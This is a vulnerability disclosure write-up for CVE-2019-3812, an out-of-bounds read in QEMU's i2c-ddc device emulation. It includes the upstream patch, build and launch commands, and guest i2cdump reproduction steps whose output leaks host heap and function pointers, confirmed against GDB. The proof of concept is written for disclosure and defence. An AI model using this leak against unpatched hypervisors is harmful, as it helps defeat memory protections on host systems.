Author: Michael Hanselmann. Updated: April 14, 2019.

QEMU is a virtual machine emulator. In late November 2018 I already found several vulnerabilities in its Media Transfer Protocol emulation. Later in 2018 I found an additional out-of-bounds read in its emulation of Display Data Channel (DDC) via I²C by reading the source code and, after producing proof-of-concept exploits, reported it to the project using responsible disclosure included a patch.

The patch was included in QEMU 4.0. The vulnerability ID is CVE-2019-3812 (Red Hat Bugzilla, Red Hat CVE database). Upstream commit with patch: i2c-ddc: fix oob read.

Reproduced at QEMU v3.1.0-289-gf163448536. The i2c-ddc emulation is vulnerable to an out-of-bound read of up to 128 bytes. An offset is not bounded to the size of an internal buffer of 128 bytes. Patch:

diff --git a/hw/i2c/i2c-ddc.c b/hw/i2c/i2c-ddc.c
index be34fe072c..0a0367ff38 100644
--- a/hw/i2c/i2c-ddc.c
+++ b/hw/i2c/i2c-ddc.c
@@ -56,7 +56,7 @@ static int i2c_ddc_rx(I2CSlave *i2c)
     I2CDDCState *s = I2CDDC(i2c);

     int value;
-    value = s->edid_blob[s->reg];
+    value = s->edid_blob[s->reg % sizeof(s->edid_blob)];
     s->reg++;
     return value;
 }

By default the device is not compiled for the x86_64-softmmu target and needs to be enabled for the purpose of a demonstration:

echo CONFIG_DDC=y >> default-configs/i386-softmmu.mak && \
make

Command used to run QEMU:

./x86_64-softmmu/qemu-system-x86_64 \
  -smp 2 -m 600 \
  -enable-kvm \
  -machine pc,accel=kvm \
  -vnc :0,to=99,id=default -serial mon:stdio \
  -netdev user,id=user.0 -device e1000,netdev=user.0 \
  -netdev user,id=user.1 -device e1000,netdev=user.1 \
  -cdrom $HOME/grml64-small_testing_latest.iso \
  -device i2c-ddc,address=0x33

I'm using Grml Live Linux although any reasonable distribution will do. Load modules and install I2C programs in guest:

apt-get update && \
apt-get install -y i2c-tools && \
modprobe i2c-piix4 && \
modprobe i2c-dev

Read all values from EDID emulation before applying patch and observe two pointers starting at 0xf0:

# i2cdump -y 0 0x33 b
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f    0123456789abcdef
00:
00 ff ff ff ff ff ff 00 49 14 34 12 00 00 00 00    ........I?4?....
10: 2a 18 01 04 a5 28 1e 78 06 ee 91 a3 54 4c 99 26    *????(?x????TL?&
20: 0f 50 54 21 08 00 e1 c0 d1 c0 01 01 01 01 01 01    ?PT!?.??????????
30: 01 01 01 01 01 01 25 20 00 66 41 00 1a 30 00 1e    ??????% .fA.?0.?
40: 33 40 93 2e 11 00 00 18 00 00 00 fd 00 32 7d 1e    3@?.?..?...?.2}?
50: a0 78 01 0a 20 20 20 20 20 20 00 00 00 fc 00 51    ?x??      ...?.Q
60: 45 4d 55 20 4d 6f 6e 69 74 6f 72 0a 00 00 00 f7    EMU Monitor?...?
70: 00 0a 00 4a a2 24 29 20 00 00 00 00 00 00 00 1a    .?.J?$) .......?
80: 51 00 00 00 00 00 00 00 f0 40 5e d4 67 55 00 00    Q.......?@^?gU..
90: d0 61 4d d4 67 55 00 00 00 00 00 00 00 00 00 00    ?aM?gU..........
a0: 59 52 ef d0 67 55 00 00 00 00 00 00 00 00 00 00    YR??gU..........
b0: 00 00 00 00 00 00 00 00 9d 53 ef d0 67 55 00 00    ........?S??gU..
c0: d0 40 5e d4 67 55 00 00 00 00 00 00 00 00 00 00    ?@^?gU..........
d0: 51 00 00 00 00 00 00 00 f0 61 4d d4 67 55 00 00    Q.......?aM?gU..
e0: 60 45 5e d4 67 55 00 00 00 00 00 00 00 00 00 00    `E^?gU..........
f0: fa ce d0 d0 67 55 00 00 7a cf d0 d0 67 55 00 00    ????gU..z???gU..

Compare with GDB output and note that there are function addresses accessible via EDID emulation:

(gdb) x/32a s->edid_blob
0x5567d45e4438: 0xffffffffffff00        0x12341449
0x5567d45e4448: 0x781e28a50401182a      0x26994c54a391ee06
0x5567d45e4458: 0xc0e100082154500f      0x10101010101c0d1
0x5567d45e4468: 0x2025010101010101      0x1e00301a00416600
0x5567d45e4478: 0x180000112e934033      0x1e7d3200fd000000
0x5567d45e4488: 0x202020200a0178a0      0x5100fc0000002020
0x5567d45e4498: 0x696e6f4d20554d45      0xf70000000a726f74
0x5567d45e44a8: 0x202924a24a000a00      0x1a00000000000000
0x5567d45e44b8: 0x51    0x5567d45e40f0
0x5567d45e44c8: 0x5567d44d61d0  0x0
0x5567d45e44d8: 0x5567d0ef5259 <property_get_bool>      0x0
0x5567d45e44e8: 0x0     0x5567d0ef539d <property_release_bool>
0x5567d45e44f8: 0x5567d45e40d0  0x0
0x5567d45e4508: 0x51    0x5567d44d61f0
0x5567d45e4518: 0x5567d45e4560  0x0
0x5567d45e4528: 0x5567d0d0cefa <get_uint32>     0x5567d0d0cf7a <set_uint32>

After applying my patch there are no more function pointers to be found:

# i2cdump -y 0 0x33 b
     0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f    0123456789abcdef
00: 00 ff ff ff ff ff ff 00 49 14 34 12 00 00 00 00    ........I?4?....
10: 2a 18 01 04 a5 28 1e 78 06 ee 91 a3 54 4c 99 26    *????(?x????TL?&
20: 0f 50 54 21 08 00 e1 c0 d1 c0 01 01 01 01 01 01    ?PT!?.??????????
30: 01 01 01 01 01 01 25 20 00 66 41 00 1a 30 00 1e    ??????% .fA.?0.?
40: 33 40 93 2e 11 00 00 18 00 00 00 fd 00 32 7d 1e    3@?.?..?...?.2}?
50: a0 78 01 0a 20 20 20 20 20 20 00 00 00 fc 00 51    ?x??      ...?.Q
60: 45 4d 55 20 4d 6f 6e 69 74 6f 72 0a 00 00 00 f7    EMU Monitor?...?
70: 00 0a 00 4a a2 24 29 20 00 00 00 00 00 00 00 1a    .?.J?$) .......?
80: 00 ff ff ff ff ff ff 00 49 14 34 12 00 00 00 00    ........I?4?....
90: 2a 18 01 04 a5 28 1e 78 06 ee 91 a3 54 4c 99 26    *????(?x????TL?&
a0: 0f 50 54 21 08 00 e1 c0 d1 c0 01 01 01 01 01 01    ?PT!?.??????????
b0: 01 01 01 01 01 01 25 20 00 66 41 00 1a 30 00 1e    ??????% .fA.?0.?
c0: 33 40 93 2e 11 00 00 18 00 00 00 fd 00 32 7d 1e    3@?.?..?...?.2}?
d0: a0 78 01 0a 20 20 20 20 20 20 00 00 00 fc 00 51    ?x??      ...?.Q
e0: 45 4d 55 20 4d 6f 6e 69 74 6f 72 0a 00 00 00 f7    EMU Monitor?...?
f0: 00 0a 00 4a a2 24 29 20 00 00 00 00 00 00 00 1a    .?.J?$) .......?